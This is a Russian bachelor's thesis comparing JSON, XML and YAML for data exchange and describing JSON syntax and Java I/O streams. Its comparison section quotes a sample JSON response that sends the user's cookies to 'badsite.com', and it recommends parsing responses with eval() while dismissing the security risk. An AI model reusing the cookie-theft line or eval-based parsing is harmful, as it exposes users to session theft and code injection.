Оптимизация доступа к данным с использованием технологии JSon

Размещено на http://www.allbest.ru/

Федеральное агентство связи

Федеральное государственное образовательное бюджетное учреждение

высшего профессионального образования

«Поволжский государственный университет телекоммуникаций и информатики»

Факультет Заочного обучения

Направление

(специальность) Информационные системы и технологии

Кафедра Информационных систем и технологий

ВЫПУСКНАЯ КВАЛИФИКАЦИОННАЯ РАБОТА

(БАКАЛАВРСКАЯ РАБОТА)

Оптимизация доступа к данным с использованием технологии JSon

Утверждаю зав. кафедрой д.т.н., доцент Н.И. Лиманова

Руководитель доцент к.п.н., доцент Н.Н. Секлетова

Н. контролер доцент к.т.н., с.н.с. О.Л. Куляс

Разработал 36И Н.В. Сулейманов

Самара 2017



Задание

по подготовке выпускной квалификационной работы

Утверждена приказом по университету от 25.11.2016 № 291-2

2 Срок сдачи студентом законченной ВКР 25.01.2017

3 Исходные данные и постановка задачи

3.1 Исходные данные

1)Обзор и анализ теоретического материала по теме исследования

2)Особенности формата обмена данных JSon

3.2 Постановка задачи

1) Подбор и анализ необходимых источников информации

2) Основные понятия при обмене данных JSon

3) Произвести рефакторинг БД

4 )Провести анализ выполненной работы

4 Перечень подлежащих разработке в ВКР вопросов или краткое содержание ВКР. Сроки исполнения 20.01.2017

1) Основные понятия баз данных

2) История появления технологии JSon

3)Рефакторинг базы данных на предприятии ООО «Социальная Инноватика»

4) Обзор результатов рефакторинга БД.

5 Перечень графического материала. Сроки исполнения 20.01.2017

Презентационные материалы

6 Дата выдачи задания « 25 » ноября 2016 г.

Кафедра Информационных систем и технологий

Утверждаю зав.кафедрой, д.т.н., доцент Н.И. Лиманова

Руководитель доцент к.п.н., доцент Н.Н. Секлетова

Задание принял к исполнению 35И А.С. Думчев



Реферат

Название Оптимизация доступа к данным с использованием технологии JSon

Автор Сулейманов Наиль Валиуллович

Научный руководитель Секлетова Наталья Николаевна

Ключевые слова Базы данных, рефакторинг БД, JSon, доступ к данным, обмен данных.

Дата публикации 2017 год

Библиографическое описание

Сулейманов Н.В. Оптимизация доступа к данным с использованием технологии JSon [Текст]: дипломная работа / Н.В. Сулейманов Поволжский государственный университет телекоммуникаций и информатики (ПГУТИ). Факультет заочного образования (ФЗО). Кафедра информационных систем и технологий (ИСТ): науч.рук. Секлетова Н.Н. - Самара. 2017. - 61 с.

Аннотация

Подробно рассмотрена предметная область исследований и был произведен рефакторинг БД, данные стали обращаться между собой с помощью технологии JSon. Неоспоримым преимуществом добавления технологии JSon является возможность работать с некоторыми данными иначе, оптимизируя затраты.

Получены практические результаты, реализованные на предприятии в виде оптимизированой базы данных.

Руководитель ВКР Н.Н. Секлетова



Введение

В задачах построения сложных информационных систем одной из главных проблем является обмен данными между различными подсистемами. Нередко самая простая задача импорта/экспорта данных из одной системы в другую приводит к необходимости серьезных разработок модулей на стыке подсистем. Задача существенно облегчается, если данные определенного класса будут перемещаться между подсистемами, при условии, что в этих подсистемах будет заложена технологически реализованная возможность воспринимать извне и отдавать наружу данные в стандартном формате импорта/экспорта. Данный подход является основой для разработки метаданных и интерфейсов для обмена регулярными данными для различных унаследованных разноформатных систем.

JSON (англ. JavaScript Object Notation) -- текстовый формат обмена данными, основанный на JavaScript и обычно используемый именно с этим языком. Как и многие другие текстовые форматы, JSON легко читается людьми. Формат JSON был разработан Дугласом Крокфордом. [4]

Несмотря на происхождение от JavaScript (точнее, от подмножества языка стандарта ECMA-262 1999 года), формат считается независимым от языка и может использоваться практически с любым языком программирования. Для многих языков существует готовый код для создания и обработки данных в формате JSON.

За счёт своей лаконичности по сравнению с XML, формат JSON может быть более подходящим для сериализации сложных структур. Если говорить о веб-приложениях, в таком ключе он уместен в задачах обмена данными как между браузером и сервером (AJAX), так и между самими серверами (программные HTTP-интерфейсы). [4]

Всё вышесказанное определило актуальность темы работы - оптимизации доступа к данным с использованием технологии JSON.

Актуальность дипломной работы состоит в том, что на сегодняшний день JSON является одним из самых популярных текстовых форматов обмена данными в клиент-серверной архитектуре, мобильных приложениях и прочих информационных составляющих, поэтому данная технология прекрасно дополняет стандартные наборы СУБД

Целью бакалаврской работы является рефакторинг существующей базы данных предприятия ООО “Социальная инноватика” в рамках осуществления оптимизации доступа к данным с использованием технологии JSON.

Для достижения поставленной цели необходимо решить следующие основные задачи:

изучить виды оптимизации доступа к документным данным,

изучить возможности применения формата JSON,

проанализировать существующую базу данных в ООО «Социальная инноватика»,

провести рефакторинг существующей базы данных предприятия ООО “Социальная инноватика”.

Объектом исследования выступает база данных ООО “Социальная инноватика”. документный база рефакторинг доступ

Предмет исследования: использование формата JSON для оптимизации доступа к документным данным.

Основными источниками для написания работы послужили книги по разработке на Java, документация Javadoc, информация по системам сборки, документация по формату JSON, и пр.

Цель и задачи написания работы определили ее структуру, которая состоит из введения, трех глав и заключения. Во введении обосновывается актуальность работы, цель и задачи.

Первая глава содержит описание предметной области, обзор использования текстовых форматов обмена данными и постановку задачи.

Вторая глава раскрывает описание формата JSON, низкоуровневую работу с форматом в Java и сравнение JSON с XML.

Третья глава раскрывает процесс рефакторинга БД предприятия, а так же описывает анализ производительности до и после.

В заключении сделаны основные выводы и результаты по проделанной работе.



1. Анализ предметной области

1.1 Использование текстовых форматов обмена данными

JSON -- простой формат файлов, который легко читается любым языком программирования. Простота означает, что компьютерам с ним легче работать, чем с другими, например, с XML. [5]

XML широко используется для обмена данными, поскольку позволяет сохранять структуру в данных и способе их сохранения в файлах, а также позволяет разработчикам хранить части документации вместе с данными, не мешая их чтению.

Консорциум W3C рекомендует мета-формат под названием RDF. В нём информацию можно представить таким образом, чтобы данные из разных источников можно было легко комбинировать. Данные RDF могут храниться в XML и JSON, помимо прочих представлений. RDF поощряет идентификацию через URL, благодаря чему можно удобно обменивать через сеть. RDF пока ещё мало распространён, но стал тенденцией инициатив в области открытого правительства, включая британский и испанский проекты в области связанных данных. Изобретатель Веб, Тим Бернерс-Ли, недавно предложил пятизвёздную схему, в которой связанные данные RDF значатся одной из целей для инициатив в области открытых данных[4].

Многие чиновники располагают информацией, хранимой в электронных таблицах, таких, например, как Microsoft Excel. Эти данные могут использоваться сразу после выполнения корректного описания значений каждого столбца.

Однако, в электронных таблицах порой встречаются макросы и формулы, из-за чего работать с ними может быть затруднительно. Поэтому лучше хранить описания подобных вычислений вместе с таблицами -- таким образом, пользователям будет проще их прочесть.

CSV - очень полезный формат благодаря своей компактности, что позволяет передавать большие наборы данных с одинаковой структурой. Однако, этот формат настолько простой, что данные в нем часто бесполезны без документации, объясняющей что есть что. Наличие такой документации и ее актуальность для подобных форматов особенна важна.

Важно также соблюдать структуру файла, так как из-за пропуска одного-единственного поля все остальные данные в файле могут быть прочитаны неверно, без всякой надежды на исправление, поскольку определить, как правильно интерпретировать остальные данные, будет невозможно.

Для демонстрации многих типов данных, к примеру, -- относительно стабильных списков рассылки или чего-то подобного, -- может быть достаточно обычных форматов типа Word, ODF, OOXML или PDF. Их распространение может быть недорогим, поскольку зачастую именно в этом формате данные и производятся на свет. Формат не предоставляет никаких средств контроля за структурой, из-за чего ввести данные автоматически зачастую бывает трудно. Старайтесь использовать шаблоны для документов, которые будут показывать данные для повторного использования, так чтобы их, по крайней мере, можно было извлечь.

Кроме того, для последующего использования данных было бы полезно максимально возможное использование типографской разметки, поскольку это облегчает машине задачу отличить заголовки от информации и т.п. Обычно не рекомендуется выкладывать данные в формате текстового процессора, если они имеются в другом формате.

Компьютеры легко читают документы в формате простого текста (.txt). Однако, метаданные о структуре в них, как правило, отсутствуют, из-за чего разработчикам приходится писать парсер для разбора документа.

При обмене текстовыми файлами между операционными системами возможны проблемы. MS Windows, Mac OS и прочие Unix-подобные ОС по-разному сообщают компьютеру, что достигли конца строки.

Пожалуй, наименее подходящая форма для большинства данных. Впрочем, TIFF и JPEG-2000 по крайней мере позволяют документировать, что на картинке -- вплоть до того, чтобы хранить полный контекст документа вместе с его фотокопией. Может пригодиться для отображения данных, которые не были рождены в электронной форме (типичным примером может послужить старые церковные записи и другой архивный материал) -- картинка лучше, чем ничего.

Некоторые специализированные системы и т.п. имеют собственные форматы, в которых они сохраняют данные. Порой достаточно выложить данные в таком формате -- особенно если предполагается, что и в дальнейшем их будут обрабатывать в подобной же системе. Всегда следует отмечать, где можно найти дальнейшую информацию об этом проприетарном формате -- например, дав ссылку на сайт компании-производителя. Чаще всего стоит выкладывать данные в свободном формате, если это возможно.

В наши дни данные часто выкладываются на сайты в формате HTML. Для достаточно редко меняющихся данных с небольшим охватом этого бывает достаточно. Порой лучше иметь данные в формате, позволяющем легко их скачать и легко ими манипулировать, зато на страницу на веб-сайте проще ссылаться, она может быть хорошим местом для первоначального отображения данных.

Обычно лучше всего хранить данные в HTML-таблицах; также важно, чтобы разные поля данных отображались с заданными идентификаторами, благодаря которым их можно будет легко найти и обработать. Yahoo разработала инструмент (http://developer.yahoo.com/yql/), который добывает структурированную информацию с вебсайтов; подобный инструмент может гораздо больше, если данные правильно разметить.

Даже если информация подаётся в электронном, машиночитаемом формате, со всеми деталями, могут возникнуть проблемы из-за формата самого файла.

Форматы, в которых публикуется информация -- другими словами, цифровая база, в которой она хранится -- могут быть «открытыми» или «закрытыми». Формат открыт, если спецификации для программ доступны каждому без какой-либо платы -- то есть, любой может использовать эти спецификации в своей программе без каких-либо ограничений из-за «прав интеллектуальной собственности».

Если формат «закрыт», это значит, либо его спецификация недоступна публике, либо она доступна, но запатентована, так что её использование ограничено. Если информация выпущена в закрытом формате, с на пути её повторного использования могут возникнуть значительные преграды; возможно, тем что захочет ей воспользоваться, придётся покупать нужные программы. Преимущество открытых форматов файлов в том, что разработчики могут создать несколько программных пакетов и сервисов, работающих с этими форматами. Это устраняет большинство препятствий на пути использования информации из этих файлов.

Использование закрытые форматы файлов, спецификации которых недоступны, может привести к зависимости от сторонних программ или держателей лицензий на формат. В худшем случае этом может означать, что информацию можно будет прочесть только какой-то одной программой, которая может оказаться запредельно дорогой или устареть.

1.2 Оптимизация процесса доступа к данным

Оптимизация - сложная задача, потому что она, в конечном счете, требует понимания системы в целом. В отдельных случаях для выполнения локальной оптимизации достаточно знать систему или приложение не в полном объеме, однако чтобы сделать систему более оптимальной, нужно разбираться в том, как она устроена.

Не следует забывать, однако, что всегда можно найти некоторые дополнительные возможности сделать систему еще быстрее (хотя каждый следующий шаг в этом направлении будет даваться все труднее и труднее).

2. Обзор технологий и аналогов

2.1 Анализ форматов обмена данными

В процессе разработки приложений с клиент-серверной архитектурой неизбежно возникает проблема выбора формата обмена данными между клиентскими и серверным модулями. Решение этой проблемы может оказать значительное влияние как на работу приложения, так и на трудоемкость дальнейшей модернизации. Время отклика, объем передаваемой информации по каналу связи, расширяемость и портируемость, требуемые ресурсы и другие параметры могут зависеть от формата обмена данными.

Целью анализа является определение критериев для проведения сравнительного анализа наиболее популярных форматов обмена данными и выбор из них наиболее отвечающего требованиям к построению новых распределенных информационных систем.

В настоящее время существует значительное количество различных форматов, рекомендуемых в литературе для использования в распределенных информационных системах. Чаще всего в сообществе разработчиков, предпочтение отдают одному из трёх наиболее используемых форматов обмена данными: XML, JSON, YAML.

XML (Extensible Markup Language) - простой, очень гибкий текстовый формат, являющийся подмножеством SGML (ISO 8879) [3], который позволяет определять собственные теги и атрибуты. Язык называется расширяемым, поскольку он не фиксирует разметку, используемую в документах: разработчик волен создать ее в соответствии с особенностями конкретной предметной области, будучи ограниченным лишь синтаксическими правилами языка [4]. Возможность создания собственных тегов делает XML универсальным.

JSON (Java Script Object Notation) - представляет собой облегченный формат обмена данными между компьютерами [5]. В соответствии с определением стандарта сценарного языка программирования ECMA (Европейской ассоциации производителей компьютеров), он является производным от литералов Java Script. JSON более компактен, чем XML, его конструкции легче анализируются средствами Java Script, для которого JSON является внутренним используемым типом данных. Основная сфера применения JSON - программирование web-приложений, где он служит альтернативой XML.

YAML - человекочитаемый формат сериализации данных, концептуально близкий к языкам разметки, но ориентированный на удобство ввода-вывода типичных структур данных многих языков программирования. В настоящее время акроним YAML интерпретируется как «YAML Ain't Markup Language» («YAML - не язык разметки»). В названии отражена история развития: на ранних этапах акроним представлял собой аббревиатуру выражения «Yet Another Markup Language» («Ещё один язык разметки») и даже рассматривался как конкурент XML, но позже был переименован, чтобы акцентировать внимание на данных, а не на разметке документов.

В настоящее время не существует сформулированных критериев, благодаря которым можно было бы сравнить форматы обмена данными в приложениях с клиент-серверной архитектурой. Однако на различных ресурсах, посвященных IT-тематике, профессиональными разработчиками и архитекторами информационных систем не раз делались попытки такие критерии рекомендовать. Стоит отметить, что, несмотря на значительное число характерных черт, рекомендованных в качестве критериев сравнения, не все они представляют теоретическую или практическую пользу. Ниже представлены те критерии сравнительного анализа, которые в настоящее время представляются наиболее важными при принятии решения в процессе разработки клиент-серверного приложения.

Человекочитаемость - предполагает простую и удобную разметку передаваемых данных. При этом язык должен иметь незначительное количество символов-разделителей (скобки, кавычки и т.д.).

Простота сериализации - преобразования объекта (данных) в поток байтов для дальнейшего хранения или передачи по каналу связи, в память или файл.

Простота десериализации - преобразования потока байтов в объект данных.

Возможность проверки формата входных данных - наличие в формате обмена данными внутреннего языка описания структуры документа (JSON-Schema, XML-Schema), необходимого для осуществления предварительной проверки на соответствие приходящих данных, например, со стороны клиента.

Эффективность сжатия данных - включает скорость выполнения алгоритма компрессии и коэффициент сжатия.

Распространенность - наличие большого количества разработчиков, использующих тот или иной формат обмена данными.

Динамика развития, которая характеризуется скоростью популяризации и развития.

Формат XML уже известен много лет (прим.: первая рабочая версия была заявлена в 1996 году, а спецификация -- уже в 2000), поэтому существует некоторый набор программных интерфейсов (API) для привязки данных к XML на нескольких языках программирования. Например, на Java можно использовать JAXB и XmlBeans для создания XML-ответа. Ниже приведен пример с использованием JAXB.

Person person = <font color="#069">new</font> Person();

person.setFirstName(<font color="#069">"Subbu"</font>);

person.setLastName(<font color="#069">"Allamaraju"</font>);

Marshaller marshaller = ... <font color="#008200">// Создаем обхект marshaller</font>

marshaller.marshal(person, outputStream);

Если рассматривать функционирование таких программных интерфейсов, то создания JSON не сильно отличается от сериализации Java beans в объекты. Однако, стоит отметить, что сейчас известно гораздо больше способов генерации XML, нежели JSON. Некоторые из этих программных интерфейсов для XML существуют уже много лет и по этой причине могут быть стабильнее при использовании для сложных приложений.

Другим аспектом, который стоит рассмотреть, будет количество ресурсов, которое используется для генерации ответа. Если при получении данных уже производятся «тяжелые» операции, то для серверной части не составит большого труда дополнительно их преобразовывать в XML для ответа. Если же создание XML будет являться самой ресурсоемкой операцией, то лучше использовать JSON.

На стороне клиентского приложения обработка JSON-данных как ответа на XMLHttpRequest чрезвычайно проста.

var person = eval(xhr.responseText);

alert(person.firstName);

Используя обычный eval(), можно преобразовать ответ в объект JavaScript. Как только эта операция произведена, можно получить доступ к данным, используя свойства преобразованного объекта. Это наиболее изящная часть всего JSON.

Теперь рассмотрим XML. Чтобы сделать нижеприведенный фрагмент кода прозрачнее, я убрал все проверки на ошибки.

var xml = xhr.responseXML;

var elements = xml.getElementsByTagName(<font color="#069">"firstName"</font>);

alert(elements[<font color="#c00000">0</font>].firstChild.textContent);

Очевидно, что при обработке данных, полученных от сервера, необходимо просмотреть все DOM-дерево. Это очень трудоемкая операция, и она предрасположена к появлению ошибок. К несчастью, в браузере нам приходится иметь дело именно с DOM. Браузеры не поддерживают языка запросов, наподобие XPath, для получения узлов дерева в XML-документе. Поддержка этих функций относится уже к XSLT, но он достаточно ограничен (прим.: в браузере) в плане преобразования XML в разметку (например, в HTML). Рабочая группа по программным Веб-интерфейсам (Web API Working Group) от W3C работает над интерфейсом селекторов (Selectors API), который может быть использован для применения CSS-селекторов при выборе узлов из объекта Document. Используя такой интерфейс можно будет преобразовать вышеприведенный пример кода в xml.match("person.firstName"), чтобы получить элемент firstName. Не сказать, что это большое достижение для XML-документа из этого примера, но может оказаться полезным для работы с сильно разветвленными документами. Этот интерфейс пока еще не завершен, и пройдут еще годы, прежде чем браузеры будут его поддерживать.

По этим причинам стоит использовать JSON из-за простоты реализации обработки на стороне клиента.

Расширяемость помогает уменьшить число связей между поставщиком и получателем данных. В контексте AJAX-приложений, скрипт на стороне клиента должен быть достаточно инвариантным относительно совместимых изменениях в данных.

По общему убеждению, XML автоматически является расширяемым просто благодаря наличию буквы «X». Но это не является безусловным правилом (т.е. действующим по умолчанию). Расширяемость XML исходит из того принципа, что вы можете определить дополнительные узлы в вашем XML, а затем применять правило «ненужное пропустить» (т.е. если при обработке XML вам встретился незнакомый элемент или атрибут, просто пропустите его).

Чтобы воспользоваться всеми преимуществами расширяемости, необходимо создавать код на стороне клиента с расчетом на эту самую расширяемость. Например, следующий пример развалится, если вы захотите вставить, например, элемент middleName.

var xml = xhr.responseXML;

var elements = xml.getElementsByTagName(<font color="#069">"firstName"</font>);

var firstNameEl = elements[<font color="#c00000">0</font>];

var lastNameEl = firstNameEl.nextSibling;

Если вы вставите элемент <middleName> сразу после элемента <firstName>, в этом примере произойдет неверная интерпретация отчества как фамилии. Чтобы быть инвариантным относительно этого изменения, требуется переписать код, чтобы явно получать элемент <lastName>, или доступаться к nextSibling, только если обнаружен потомок с нужным tagName. Таким образом, XML является расширяемым до тех пор, как вы пишет код, рассчитывая на будущую расширяемость.

Однако, расширить JSON-Данные проще, чем XML. Это бесспорно требует меньше усилий. Рассмотрим добавление свойства middleName к JSON-ответу. Для того, чтобы получить к нему доступ, вам достаточно просто его вызвать.

alert(person.middleName);

Этот код не изменится, если вы добавите отчество в ваш ответ. Но что делать в случае обработки человека с или без отчества? С JSON это просто.

<font color="#069">if</font> (person.middleName) {

<font color="#008200">// Обработка</font>

}

Если иметь в виду возможную будущую расширяемость, и XML-, JSON-данные могут быть расширены. Но с JSON расширять данные проще, чем с XML. Вам просто требуется проверить, что требуемое свойство существует у объекта, и действовать в соответствии с результатом проверки.

Существует и другая возможность расширить JSON-данные, она заключается в использовании вызовов функций вместе с объявлениями данных прямо в ответе.

alert(<font color="#069">"Hi - I'm a person"</font>);

({<font color="#069">"firstName"</font> : <font color="#069">"Subbu"</font>,

<font color="#069">"lastName"</font> : <font color="#069">"Allamaraju"</font>});

Когда данные объявляются через eval(), браузер также вызовет выражение alert(). В этом случае, вы можете и загрузить данные, и выполнить функции. Этим подходом стоит пользоваться с большой оглядкой, ибо он засоряет ответ вызовами функций и создает связь между вызовами и данными. В некоторых источниках также рассматривается потенциальная уязвимость такого подхода с точки зрения безопасности, об этом более подробно изложено немного ниже.

Отладка и исправление ошибок - этот аспект касается как серверной части вашего приложения, так и клиентской. На сервере необходимо удостовериться в том, что данные правильно сформированы и корректны. На стороне клиента должно быть просто отлаживать ошибки в ответе.

В случае XML, относительно просто проверять, что данные, отправляемые клиенту, правильно сформированы и корректны. Вы можете использовать schema для ваших данных, и применить ее для проверки данных. С JSON эта задача становится ручной и требует проверку того, что в результате ответа у объекта присутствуют правильные атрибуты.

На стороне клиента в обоих случаях тяжело обнаружить ошибки. Для XML браузер будет просто не способен преобразовать его в responseXML. При небольших объемах JSON-данных можно воспользоваться расширением FireBug для отладки и исправления ошибок. Но при больших объемах данных становится несколько затруднительно соотнести сообщение об ошибке с конкретным местом в коде.

Dave Johnson в своей заметке JSON и Золотое руно высказывает мнение, что JSON может стать причиной проблем безопасности. Суть заметки сводится к тому, что если вы допускаете вставку вызовов функций наряду с данными в JSON-ответах и используете eval() для обработки ответа, то тем самым вы исполняете произвольный код, фактически, который уже может содержать угрозу безопасности.

window.location = <font color="#069">"http://badsite.com?"</font> + document.cookie;

person : {

<font color="#069">"firstName"</font> : <font color="#069">"Subbu"</font>,

<font color="#069">"lastName"</font> : <font color="#069">"Allamaraju"</font>

}

Если ответ в примере выше будет выполнен, это вызовет отправку браузером пользовательских cookies на сторонний сайт. Но в данном случае, существует некоторое заблуждение в определении угрозы безопасности. Не следует доверять данным или коду, полученным из непроверенного источника. И во-вторых, мы не сможете использовать XMLHttpRequest для связи с доменами, отличными от домена-источника скрипта. Итак, только сами разработчики при создании приложения могут инициировать отправку cookies на сторонний сайт. Это довольно сомнительно, потому что они могут с тем же успехом разместить этот зловредный код где угодно в документе за пределами передаваемого от сервера ответа с данными. Возможно, я что-то упустил, но я не вижу смысла рассматривать JSON как небезопасный по сравнению с XML.

В результате анализа сравнения приходим в выводу, что в случае информационно-ориентированных приложений предпочтительно использовать JSON, а не XML, в силу его простоты и легкости обработки данных на стороне клиента. XML может быть незаменимым на сервере, но с JSON определенно проще работать на клиенте.

Можно сделать вывод о том, что, несмотря на значительное количество web-ресурсов и сервисов, документации и библиотек, применяющих в качестве формата обмена данными XML, при построении новых распределенных баз данных и в процессе оптимизации существующих следует рассмотреть использование JSON. В настоящее время в профессиональном сообществе разработчиков программного обеспечения достаточно часто отмечают то, что этот формат является быстро развивающимся и простым для реализации обмена данными в системах. Заметим, что формат обмена данными YAML был предложен сравнительно недавно и только начинает свой путь развития, но уже сейчас составляет серьезную конкуренцию аналогам по некоторым характеристикам. Основным преимуществом YAML, по заверению его создателей, является удобство чтения. Однако утверждение достаточно спорно, учитывая наличие большого количества возможностей других форматов и опыт работы с ними.

2.2 Описание JSON

JSON (JavaScript Object Notation) - простой формат обмена данными, удобный для чтения и написания как человеком, так и компьютером. Он основан на подмножестве языка программирования JavaScript, определенного в стандарте ECMA-262 3rd Edition - December 1999. JSON - текстовый формат, полностью независимый от языка реализации, но он использует соглашения, знакомые программистам C-подобных языков, таких как C, C++, C#, Java, JavaScript, Perl, Python и многих других. Эти свойства делают JSON идеальным языком обмена данными. [5]

Коллекция пар ключ/значение. В разных языках, эта концепция реализована как объект, запись, структура, словарь, хэш, именованный список или ассоциативный массив.

Упорядоченный список значений. В большинстве языков это реализовано как массив, вектор, список или последовательность.

Это универсальные структуры данных. Почти все современные языки программирования поддерживают их в какой-либо форме. Логично предположить, что формат данных, независимый от языка программирования, должен быть основан на этих структурах.

В нотации JSON это выглядит так:

Объект - неупорядоченный набор пар ключ/значение. Объект начинается с { (открывающей фигурной скобки) и заканчивается } (закрывающей фигурной скобкой). Каждое имя сопровождается : (двоеточием), пары ключ/значение разделяются , (запятой).

Рис 2.1 - Диаграмма Вирта языка JSON

Массив - упорядоченная коллекция значений. Массив начинается с [(открывающей квадратной скобки) и заканчивается ](закрывающей квадратной скобкой). Значения разделены ,(запятой).

Рис 2.2- Диаграмма Вирта языка JSON

Значение может быть строкой в двойных кавычках, числом, true, false, null, объектом или массивом. Эти структуры могут быть вложенными.



Рис 2.3 - Диаграмма Вирта языка JSON

Строка - коллекция нуля или больше символов Unicode, заключенная в двойные кавычки, используя \ (обратную косую черту) в качестве символа экранирования. Символ представляется как односимвольная строка. Похожий синтаксис используется в C и Java.

Рис 2.4 - Диаграмма Вирта языка JSON

Число представляется так же, как в C или Java, кроме того, что используется только десятичная система счисления.

Рис 2.5 - Диаграмма Вирта языка JSON

Пробелы могут использоваться между любыми лексемами.

Исключая некоторые детали кодирования, вышеизложенное полностью описывает язык.

2.3 Работа с JSON в Java

Несмотря на описанные выше проблемы с работой с JSON в Java, средства для работы с ним всё же есть. Однако стоит сказать, что они достаточно низкоуровневы и не представляются эффективными, чтобы отпала необходимость разработки собственной библиотеки.

Существует три основных способа сериализации и десериализации среди указанных библиотек (от самого простого к самому сложному) и один дополнительный:

Data bind,

Tree Model,

Streaming API,

(дополнительный способ) Аналоги XPath,

Data bind самый популярный и простой способ, вы просто указываете класс, который нужно преобразовать в json, может быть часть полей отмечаете аннотациями (зачастую это необязательно), а библиотека сама превращает этот класс и всю его иерархию классов в json. Аналогом при работе с xml будет JAXB (Java Architecture for XML Binding)

Плюсы: наиболее простой из всех, по сути главное реализовать только Java классы, более того можно просто сгенерировать Java классы из json'a или json схемы.

Минусы: скорость и память. Большинство библиотек использует рефлексию и т.п. методы работы с Java классами (хотя не все), что очевидно не очень быстро. К тому же, весь json файл сразу превращается в Java объекты, что может просто исчерпать всю доступную память, если вы попытаетесь обработать очень большой json.

Вывод: если нет проблем с производительностью, памятью и вы не собираетесь обрабатывать многогигабайтные json'ы скорее всего самый лучший способ.

Tree Model -- данный парсер представляет json в виде Java классов таких как Node или JsonElement c иерархической структурой, а уже сам программист их обходит и получает из них информацию. Данный способ похож на DOM парсеры в xml.

Плюсы: обычно быстрее первого способа и проще третьего,

Минусы: уступает Data bind по простоте, плюс ряд библиотек способен генерить классы при Data bind, а не использовать рефлексию, в этом случае то что Tree Model будет быстрее не очевидно, к тому же не решается проблема огромных файлов и ограничения памяти.

Streaming API -- самый низкоуровневый способ, по сути программист сам вручную разбирает токены json'a. Зато никаких ограничений по памяти и в теории максимальная производительность.

Плюсы: производительность и минимальное потребление памяти,

Минусы: сложность использования,

Аналоги XPath -- дополнительный способ, не очень подходит, если нужно получит всю информацию из json'a, зато позволяет написав выражение $.store.book[*].author и получить список всех авторов всех книг из json'a магазина. То есть легко получать часть информации из json'а.

Плюсы: позволяет быстро получить информацию из json'а по сложным критериям,

Минусы: не очень подходит, когда нужна все информация из json'а, не работает в обратную сторону на формирования json'ов.

Как бы то ни было, в нашем случае разработка библиотеки будет вестись с нуля, поэтому будут задействованы классы пакета java.io, представляющего собой систему ввода/вывода в Java.

В Java потоки естественным образом представляются объектами. Описывающие их классы как раз и составляют основную часть пакета java.io. Они довольно разнообразны и отвечают за различную функциональность. Все классы разделены на две части - одни осуществляют ввод данных, другие вывод.

Существующие стандартные классы помогают решить большинство типичных задач. Минимальной "порцией" информации является, как известно, бит, принимающий значение 0 или 1 (это понятие также удобно применять на самом низком уровне, где данные передаются электрическим сигналом; условно говоря, 1 представляется прохождением импульса, 0 - его отсутствием). Традиционно используется более крупная единица измерения байт, объединяющая 8 бит. Таким образом, значение, представленное 1 байтом, находится в диапазоне от 0 до 28-1=255, или, если использовать знак, от -128 до +127. Примитивный тип byte в Java в точности соответствует последнему, знаковому диапазону.

Базовые, наиболее универсальные классы позволяют считывать и записывать информацию именно в виде набора байт. Чтобы их было удобно применять в различных задачах, java.io содержит также классы, преобразующие любые данные в набор байт.

Например, если нужно сохранить результаты вычислений - набор значений типа double в файл, то их можно сначала легко превратить в набор байт, а затем эти байты записать в файл. Аналогичные действия совершаются и в ситуации, когда требуется сохранить объект (т.е. его состояние) - преобразование в набор байт и последующая их запись в файл. Понятно, что при восстановлении данных в обоих рассмотренных случаях проделываются обратные действия - сначала считывается последовательность байт, а затем она преобразовывается в нужный формат.

На следующих диаграммах представлены иерархии классов ввода/вывода. Как и говорилось, все типы поделены на две группы. Представляющие входные потоки классы наследуются от InputStream, а выходные - от OutputStream. Диаграммы классов приведены на рис. 2.6

InputStream - это базовый класс для потоков ввода, т.е. чтения. Соответственно, он описывает базовые методы для работы с байтовыми потоками данных. Эти методы необходимы всем классам, наследующимся от InputStream.

Простейшая операция представлена методом read() (без аргументов). Он является абстрактным, и, соответственно, должен быть определен в классах-наследниках. Этот метод предназначен для считывания ровно одного байта из потока, однако возвращает при этом значение типа int. В случае если считывание произошло успешно, то возвращаемое значение лежит в диапазоне от 0 до 255 и представляет собой полученный байт (значение int содержит 4 байта и получается простым дополнением нулями в двоичном представлении). Обратите внимание, что полученный таким образом байт не обладает знаком и не находится в диапазоне от -128 до +127 как примитивный тип byte в Java.



Рис 2.6 - Диаграммы классов пакета IO.

В случае если достигнут конец потока, то есть в нем больше нет информации для чтения, то возвращаемое значение равно -1. [1]

Если же считать из потока данные не удается из-за каких-то ошибок или сбоев, кидается исключение java.io.IOException. Этот класс наследуется от Exception, т.е. его всегда необходимо явно обрабатывать. Дело в том, что каналы передачи информации, будь то Интернет или, например, жесткий диск, могут давать сбои независимо от того, насколько хорошо написана программа. А это означает, что нужно быть готовым к ним, чтобы пользователь не потерял нужные данные.

Метод read() - это абстрактный метод, но именно с соблюдением всех этих условий он должен быть реализован в классах-наследниках. [1]

На практике обычно приходится считывать не один, а сразу несколько байт - то есть массив байт. Для этого используется метод read(), где в качестве параметров передается массив byte[]. При выполнении этого метода в цикле производится вызов абстрактного метода read() (определенного без параметров), и результатами заполняется переданный массив. Количество байт, считываемое таким образом, равно длине переданного массива. Но при этом может так получиться, что в потоке данные закончатся еще до того, как будет заполнен весь массив. То есть, возможна ситуация, когда в потоке данных (байт) содержится меньше чем длина массива. Поэтому метод возвращает значение int, указывающее, сколько байт было реально считано. Понятно, что это значение может быть от 0 до величины длины переданного массива.

Если же мы изначально хотим заполнить не весь массив, а только его часть, то для этих целей используется метод read(), которому кроме массива byte[], передаются еще два int значения. Первое - это позиция в массиве, с которой следует начать заполнение, второе - количество байт, которое нужно считать. Такой подход, когда для получения данных передается массив и два int числа - offset (смещение) и length (длина), является довольно распространенным и часто встречается не только в пакете java.io.

При вызове методов read(), возможно возникновение такой ситуации, когда запрашиваемые данные еще не готовы к считыванию. Например, если мы считываем данные, поступающие из сети, и они еще просто не пришли. В таком случае нельзя сказать, что данных больше нет, но и считать тоже нечего - выполнение останавливается на вызове метода read() и получается "зависание".

Что бы узнать, сколько байт в потоке готово к считыванию - используется метод available(). Этот метод возвращает значение типа int, которое показывает, сколько байт в потоке готово к считыванию. При этом не стоит путать это количество байт, готовых к считыванию, с тем количеством байт, которые вообще можно будет считать из этого потока. Метод available() возвращает число - количество байт, именно на данный момент, готовых к считыванию.

Когда работа с входным потоком данных окончена, его следует закрыть. Для этого вызывается метод close(). Этим вызовом будут освобождены все системные ресурсы, связанные с потоком.

Точно так же, как InputStream - это базовый класс для потоков ввода, класс OutputStream - это базовый класс для потоков вывода.

В классе OutputStream, аналогичным образом, определяются три метода write() - один принимающий в качестве параметра int, второй byte[], и третий byte[], плюс два int-числа. Все эти методы возвращают void, то есть ничего не возвращают.

